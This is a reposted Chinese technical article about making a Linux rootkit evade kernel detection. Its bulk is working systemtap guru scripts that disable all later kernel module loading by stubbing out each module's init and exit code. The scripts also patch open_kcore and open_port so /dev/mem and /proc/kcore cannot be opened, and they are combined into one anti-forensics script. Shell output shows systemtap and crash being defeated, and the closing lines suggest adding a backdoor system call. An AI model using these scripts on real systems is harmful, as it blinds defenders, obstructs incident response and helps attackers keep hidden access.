0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

Linux Rootkit如何避開內核檢測的

Linux閱碼場 ? 來源:Linuxer ? 2020-06-03 15:56 ? 次閱讀

Rootkit在登堂入室并得手后,還要記得把門鎖上。

如果我們想注入一個Rootkit到內核,同時不想被偵測到,那么我們需要做的是精妙的隱藏,并保持低調靜悄悄,這個話題我已經談過了,諸如進程摘鏈,TCP鏈接摘鏈潛伏等等,詳情參見:https://blog.csdn.net/dog250/article/details/105371830

https://blog.csdn.net/dog250/article/details/105394840

然則天網恢恢,疏而不漏,馬腳總是要露出來的。如果已經被懷疑,如何反制呢?

其實第一時間采取反制措施勢必重要!我們需要的只是占領制高點,讓后續(xù)的偵測手段無從開展。

我們必須知道都有哪些偵測措施用來應對Rootkit,常見的,不外乎以下:

systemtap,raw kprobe/jprobe,ftrace等跟蹤機制。它們通過內核模塊起作用。

自研內核模塊,采用指令特征匹配,指令校驗機制排查Rootkit。

gdb/kdb/crash調試機制,它們通過/dev/mem,/proc/kcore起作用。

和殺毒軟件打架一樣,Rootkit和反Rootkit也是互搏的對象。無論如何互搏,其戰(zhàn)場均在內核態(tài)。

很顯然,我們要做的就是:

第一時間封堵內核模塊的加載。

第一時間封堵/dev/mem,/proc/kcore的打開。

行文至此,我們應該已經可以說出無數(shù)種方法來完成上面的事情,對我個人而言,我的風格肯定又是二進制hook,但這次我希望用一種正規(guī)的方式來搞事情。

什么是正規(guī)的方式,什么又是奇技淫巧呢?

我們知道,Linux內核的text段是在編譯時靜態(tài)確定的,加載時偶爾有重定向,但依然保持著緊湊的布局,所有的內核函數(shù)均在一個范圍固定的緊湊內存空間內。

因此凡是往超過該固定范圍的地方進行call/jmp的,基本都是違規(guī),都應該嚴查。換句話說,靜態(tài)代碼不能往動態(tài)內存進行直接的call/jmp(畢竟靜態(tài)代碼并不知道動態(tài)地址啊),如果靜態(tài)代碼需要動態(tài)的函數(shù)完成某種任務,那么只能用回調,而回調函數(shù)在指令層面是要借助寄存器來尋址的,而不可能用rel32立即數(shù)來尋址。

如果我們在靜態(tài)的代碼中hack掉一條call/jmp指令,使得它以新的立即數(shù)作為操作數(shù)call/jmp到我們的動態(tài)代碼,那么這就是一個奇技淫巧,這就是不正規(guī)的方式。

反之,如果我們調用Linux內核現(xiàn)成的接口注冊一個回調函數(shù)來完成我們的任務,那么這就是一種正規(guī)的方式,本文中我將使用一種基于內核通知鏈(notifier chain)的正規(guī)技術,來封堵內核模塊。

下面步入正題。

首先,我們來看第一點。下面的stap腳本展示了如何做:

#!/usr/bin/stap -g

// dismod.stp

%{

// 我們利用通知鏈機制。

// 每當內核模塊進行加載時,都會有消息在通知鏈上通知,我們只需要注冊一個handler。

// 我們的handler讓該模塊“假加載”!

static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)

{

int i;

struct module *mod = (struct module *)data;

unsigned char *init, *exit;

unsigned long cr0;

if (action != MODULE_STATE_COMING)

return NOTIFY_OK;

init = (unsigned char *)mod->init;

exit = (unsigned char *)mod->exit;

// 為了避免校準rel32調用偏移,直接使用匯編。

asm volatile("mov %%cr0, %%r11; mov %%r11, %0; " :"=m"(cr0)::);

clear_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

// 把模塊的init函數(shù)換成"return 0;"

init[0] = 0x31; // xor %eax, %eax

init[1] = 0xc0; // retq

init[2] = 0xc3; // retq

// 把模塊的exit函數(shù)換成"return;" 防止偵測模塊在exit函數(shù)中做一些事情。

exit[0] = 0xc3;

set_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

return NOTIFY_OK;

}

struct notifier_block *dismod_module_nb;

notifier_fn_t _dismod_module_notify;

%}

function dismod()

%{

int ret = 0;

// 正規(guī)的方法,我們可以直接從vmalloc區(qū)域直接分配內存。

dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));

if (!dismod_module_nb) {

printk("malloc nb failed ");

return;

}

// 必須使用__vmalloc接口分配可執(zhí)行(PAGE_KERNEL_EXEC)內存。

_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);

if (!_dismod_module_notify) {

printk("malloc stub failed ");

return;

}

memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);

dismod_module_nb->notifier_call = _dismod_module_notify;

dismod_module_nb->priority = 1;

ret = register_module_notifier(dismod_module_nb);

if (ret) {

printk("notifier register failed ");

return;

}

%}

probe begin

{

dismod();

exit();

}

現(xiàn)在,讓我們運行上述腳本:

[root@localhost test]# ./dismod.stp

[root@localhost test]#

我們的預期是,此后所有的模塊將會“假裝”成功加載進內核,但實際上并不起任何作用,因為模塊的_init函數(shù)被短路繞過,不再執(zhí)行。

來吧,我們寫一個簡單的內核模塊,看看效果:

// testmod.c

#include

noinline int test_module_function(int i)

{

printk("%d ", i);

// 我們的測試模塊非常狠,一加載就讓內核panic。

panic("shabi");

}

static int __init testmod_init(void)

{

printk("init ");

test_module_function(1234);

return 0;

}

static void __exit testmod_exit(void)

{

printk("exit ");

}

module_init(testmod_init);

module_exit(testmod_exit);

MODULE_LICENSE("GPL");

如果我們在沒有執(zhí)行dismod.stp的情況下加載上述模塊,顯而易見,內核會panic,萬劫不復。但實際上呢?

編譯,加載之:

[root@localhost test]# insmod ./testmod.ko

[root@localhost test]# lsmod |grep testmod

testmod 12472 0

[root@localhost test]# cat /proc/kallsyms |grep testmod

ffffffffa010b027 t testmod_exit [testmod]

ffffffffa010d000 d __this_module [testmod]

ffffffffa010b000 t test_module_function [testmod]

ffffffffa010b027 t cleanup_module [testmod]

[root@localhost test]# rmmod testmod

[root@localhost test]#

[root@localhost test]# echo $?

0

內核什么也沒有打印,也并沒有panic,相反,模塊成功載入,并且其所有的符號均已經注冊成功,并且還能成功卸載。這意味著,模塊機制失效了!

我們試試還能使用systemtap么?

[root@localhost ~]# stap -e 'probe kernel.function("do_fork") { printf("do_fork "); }'

ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?

ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?

ERROR: 'stap_aa0322744e3a33fc0c3a1a7cd811d932_3097' is not a zombie systemtap module.

WARNING: /usr/bin/staprun exited with status: 1

Pass 5: run failed. [man error::pass5]

看來不行了。

假設該機制用于Rootkit的反偵測,如果想用stap跟蹤內核,進而查出異常點,這一招已經失效。

接下來,讓我們封堵/dev/mem,/proc/kcore,而這個簡直太容易了:

#!/usr/bin/stap -g

// diskcore.stp

function kcore_poke()

%{

unsigned char *_open_kcore, *_open_devmem;

unsigned char ret_1[6];

unsigned long cr0;

_open_kcore = (void *)kallsyms_lookup_name("open_kcore");

if (!_open_kcore)

return;

_open_devmem = (void *)kallsyms_lookup_name("open_port");

if (!_open_devmem)

return;

// 下面的指令表示 return -1;即返回錯誤!也就意味著“文件不可打開”。

ret_1[0] = 0xb8; // mov $-1, %eax;

ret_1[1] = 0xff;

ret_1[2] = 0xff;

ret_1[3] = 0xff;

ret_1[4] = 0xff;

ret_1[5] = 0xc3; // retq

// 這次我們俗套一把,不用text poke,借用更簡單的CR0來完成text的寫。

cr0 = read_cr0();

clear_bit(16, &cr0);

write_cr0(cr0);

// text內存已經可寫,直接用memcpy來吧。

memcpy(_open_kcore, ret_1, sizeof(ret_1));

memcpy(_open_devmem, ret_1, sizeof(ret_1));

set_bit(16, &cr0);

write_cr0(cr0);

%}

probe begin

{

kcore_poke();

exit();

}

來吧,我們試一下crash命令:

[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /dev/mem

...

This program has absolutely no warranty. Enter "help warranty" for details.

crash: /dev/mem: Operation not permitted

Usage:

crash [OPTION]... NAMELIST MEMORY-IMAGE[@ADDRESS] (dumpfile form)

crash [OPTION]... [NAMELIST] (live system form)

Enter "crash -h" for details.

[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /proc/kcore

...

crash: /proc/kcore: Operation not permitted

...

哈哈,完全無法調試live kernel了!試問如何抓住Rootkit現(xiàn)場?

注意,上面的兩個機制,必須讓禁用/dev/mem,/proc/kcore先于封堵模塊執(zhí)行,不然就會犯形而上學的錯誤,自己打自己。上述方案僅做演示,正確的做法應該是將它們合在一起:

#!/usr/bin/stap -g

// anti-sense.stp

%{

static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)

{

int i;

struct module *mod = (struct module *)data;

unsigned char *init, *exit;

unsigned long cr0;

if (action != MODULE_STATE_COMING)

return NOTIFY_OK;

init = (unsigned char *)mod->init;

exit = (unsigned char *)mod->exit;

// 為了避免校準rel32調用偏移,直接使用匯編。

asm volatile("mov %%cr0, %%r11; mov %%r11, %0; " :"=m"(cr0)::);

clear_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

// 把模塊的init函數(shù)換成"return 0;"

init[0] = 0x31; // xor %eax, %eax

init[1] = 0xc0; // retq

init[2] = 0xc3; // retq

// 把模塊的exit函數(shù)換成"return;"

exit[0] = 0xc3;

set_bit(16, &cr0);

asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

return NOTIFY_OK;

}

struct notifier_block *dismod_module_nb;

notifier_fn_t _dismod_module_notify;

%}

function diskcore()

%{

unsigned char *_open_kcore, *_open_devmem;

unsigned char ret_1[6];

unsigned long cr0;

_open_kcore = (void *)kallsyms_lookup_name("open_kcore");

if (!_open_kcore)

return;

_open_devmem = (void *)kallsyms_lookup_name("open_port");

if (!_open_devmem)

return;

// 下面的指令表示 return -1;

ret_1[0] = 0xb8; // mov $-1, %eax;

ret_1[1] = 0xff;

ret_1[2] = 0xff;

ret_1[3] = 0xff;

ret_1[4] = 0xff;

ret_1[5] = 0xc3; // retq

// 這次我們俗套一把,不用text poke,借用更簡單的CR0來完成text的寫。

cr0 = read_cr0();

clear_bit(16, &cr0);

write_cr0(cr0);

memcpy(_open_kcore, ret_1, sizeof(ret_1));

memcpy(_open_devmem, ret_1, sizeof(ret_1));

set_bit(16, &cr0);

write_cr0(cr0);

%}

function dismod()

%{

int ret = 0;

// 正規(guī)的方法,我們可以直接從vmalloc區(qū)域直接分配內存。

dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));

if (!dismod_module_nb) {

printk("malloc nb failed ");

return;

}

// 必須使用__vmalloc接口分配可執(zhí)行(PAGE_KERNEL_EXEC)內存。

_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);

if (!_dismod_module_notify) {

printk("malloc stub failed ");

return;

}

memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);

dismod_module_nb->notifier_call = _dismod_module_notify;

dismod_module_nb->priority = 1;

printk("notify addr:%p ", _dismod_module_notify);

ret = register_module_notifier(dismod_module_nb);

if (ret) {

printk("notify register failed ");

return;

}

%}

probe begin

{

dismod();

diskcore();

exit();

}

從此以后,若想逮到之前的那些Rootkit,你無法加載內核模塊,無法crash調試,無法自己編程mmap /dev/mem,重啟吧!重啟之后呢?一切歸于塵土。

然而,我們自己怎么辦?這將把我們自己的退路也同時封死,只要使用電壓凍結住內存快照,離線分析,真相必將大白!我們必須給自己留個退路,以便搗毀并恢復現(xiàn)場后,全身而退,怎么做到呢?

很容易,還記得在文章“Linux動態(tài)為內核添加新的系統(tǒng)調用”中的方法嗎?我們封堵了前門的同時,以新增系統(tǒng)調用的方式留下后門,豈不是很正常的想法?

是的。經理也是這樣想的。

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • TCP
    TCP
    +關注

    關注

    8

    文章

    1347

    瀏覽量

    78934
  • rootkit
    +關注

    關注

    0

    文章

    8

    瀏覽量

    2699

原文標題:Linux Rootkit如何避開內核檢測的

文章出處:【微信號:LinuxDev,微信公眾號:Linux閱碼場】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    deepin社區(qū)亮相第19屆中國Linux內核開發(fā)者大會

    中國 Linux 內核開發(fā)者大會,作為中國 Linux 內核領域最具影響力的峰會之一,一直以來都備受矚目。
    的頭像 發(fā)表于 10-29 16:35 ?322次閱讀

    詳解linux內核的uevent機制

    linux內核中,uevent機制是一種內核和用戶空間通信的機制,用于通知用戶空間應用程序各種硬件更改或其他事件,比如插入或移除硬件設備(如USB驅動器或網絡接口)。uevent表示“用戶空間
    的頭像 發(fā)表于 09-29 17:01 ?378次閱讀

    linux驅動程序如何加載進內核

    Linux系統(tǒng)中,驅動程序是內核與硬件設備之間的橋梁。它們允許內核與硬件設備進行通信,從而實現(xiàn)對硬件設備的控制和管理。 驅動程序的編寫 驅動程序的編寫是Linux驅動開發(fā)的基礎。在編
    的頭像 發(fā)表于 08-30 15:02 ?347次閱讀

    Linux內核測試技術

    Linux 內核Linux操作系統(tǒng)的核心部分,負責管理硬件資源和提供系統(tǒng)調用接口。隨著 Linux 內核的不斷發(fā)展和更新,其復雜性和代碼規(guī)
    的頭像 發(fā)表于 08-13 13:42 ?406次閱讀
    <b class='flag-5'>Linux</b><b class='flag-5'>內核</b>測試技術

    Linux內核中的頁面分配機制

    Linux內核中是如何分配出頁面的,如果我們站在CPU的角度去看這個問題,CPU能分配出來的頁面是以物理頁面為單位的。也就是我們計算機中常講的分頁機制。本文就看下Linux內核是如何管
    的頭像 發(fā)表于 08-07 15:51 ?214次閱讀
    <b class='flag-5'>Linux</b><b class='flag-5'>內核</b>中的頁面分配機制

    歡創(chuàng)播報 華為宣布鴻蒙內核已超越Linux內核

    1 華為宣布鴻蒙內核已超越Linux內核 ? 6月21日,在華為開發(fā)者大會上, HarmonyOS NEXT(鴻蒙NEXT)——真正獨立于安卓和iOS的鴻蒙操作系統(tǒng),正式登場。這是HarmonyOS
    的頭像 發(fā)表于 06-27 11:30 ?759次閱讀

    使用 PREEMPT_RT 在 Ubuntu 中構建實時 Linux 內核

    盟通技術干貨構建實時Linux內核簡介盟通技術干貨Motrotech如果需要在Linux中實現(xiàn)實時計算性能,進而有效地將Linux轉變?yōu)镽TOS,那么大多數(shù)發(fā)行版都可以打上名為PREE
    的頭像 發(fā)表于 04-12 08:36 ?2093次閱讀
    使用 PREEMPT_RT 在 Ubuntu 中構建實時 <b class='flag-5'>Linux</b> <b class='flag-5'>內核</b>

    C++在Linux內核開發(fā)中從爭議到成熟

    Linux 內核郵件列表中一篇已有六年歷史的老帖近日再次引發(fā)激烈討論 —— 主題是建議將 Linux 內核的開發(fā)語言從 C 轉換為更現(xiàn)代的 C++。
    的頭像 發(fā)表于 01-31 14:11 ?569次閱讀
    C++在<b class='flag-5'>Linux</b><b class='flag-5'>內核</b>開發(fā)中從爭議到成熟

    Ubuntu 24.04 LTS選用Linux 6.8為默認內核

    關于Ubuntu 24.04 LTS使用何種內核版本,一直備受關注。Canonical工程師Andrea Righi昨日宣布,Ubuntu 24.04將默認搭載Linux 6.8內核。
    的頭像 發(fā)表于 01-29 11:27 ?977次閱讀

    rk3399移植Linux內核

    RK3399是一款由中國廠商瑞芯微推出的高性能處理器芯片,被廣泛用于嵌入式系統(tǒng)開發(fā)。在進行應用程序開發(fā)之前,我們需要將Linux內核移植到RK3399上,以支持硬件的驅動和功能。本文將詳細介紹如何將
    的頭像 發(fā)表于 01-08 09:56 ?1005次閱讀

    Linux內核中RCU的用法

    Linux內核中,RCU最常見的用途是替換讀寫鎖。在20世紀90年代初期,Paul在實現(xiàn)通用RCU之前,實現(xiàn)了一種輕量級的讀寫鎖。后來,為這個輕量級讀寫鎖原型所設想的每個用途,最終都使用RCU來實現(xiàn)了。
    的頭像 發(fā)表于 12-27 09:56 ?1617次閱讀
    <b class='flag-5'>Linux</b><b class='flag-5'>內核</b>中RCU的用法

    獲取Linux內核源碼的方法

    (ELF1/ELF1S開發(fā)板及顯示屏)Linux內核是操作系統(tǒng)中最核心的部分,它負責管理計算機硬件資源,并提供對應用程序和其他系統(tǒng)組件的訪問接口,控制著計算機的內存、處理器、設備驅動程序和文件系統(tǒng)等
    的頭像 發(fā)表于 12-13 09:49 ?606次閱讀
    獲取<b class='flag-5'>Linux</b><b class='flag-5'>內核</b>源碼的方法

    Linux內核自解壓過程分析

    uboot完成系統(tǒng)引導以后,執(zhí)行環(huán)境變量bootm中的命令;即,將Linux內核調入內存中并調用do_bootm函數(shù)啟動內核,跳轉至kernel的起始位置。
    的頭像 發(fā)表于 12-08 14:00 ?829次閱讀
    <b class='flag-5'>Linux</b><b class='flag-5'>內核</b>自解壓過程分析

    Linux內核slab性能優(yōu)化的核心思想

    今天分享一篇內存性能優(yōu)化的文章,文章用了大量精美的圖深入淺出地分析了Linux內核slab性能優(yōu)化的核心思想,slab是Linux內核小對象內存分配最重要的算法,文章分析了內存分配的各
    的頭像 發(fā)表于 11-13 11:45 ?584次閱讀
    <b class='flag-5'>Linux</b><b class='flag-5'>內核</b>slab性能優(yōu)化的核心思想

    Linux內核UDP收包為什么效率低

    現(xiàn)在很多人都在詬病Linux內核協(xié)議棧收包效率低,不管他們是真的懂還是一點都不懂只是聽別人說的,反正就是在一味地懟Linux內核協(xié)議棧,他們的武器貌似只有DPDK。 但是,即便
    的頭像 發(fā)表于 11-13 10:38 ?438次閱讀
    <b class='flag-5'>Linux</b><b class='flag-5'>內核</b>UDP收包為什么效率低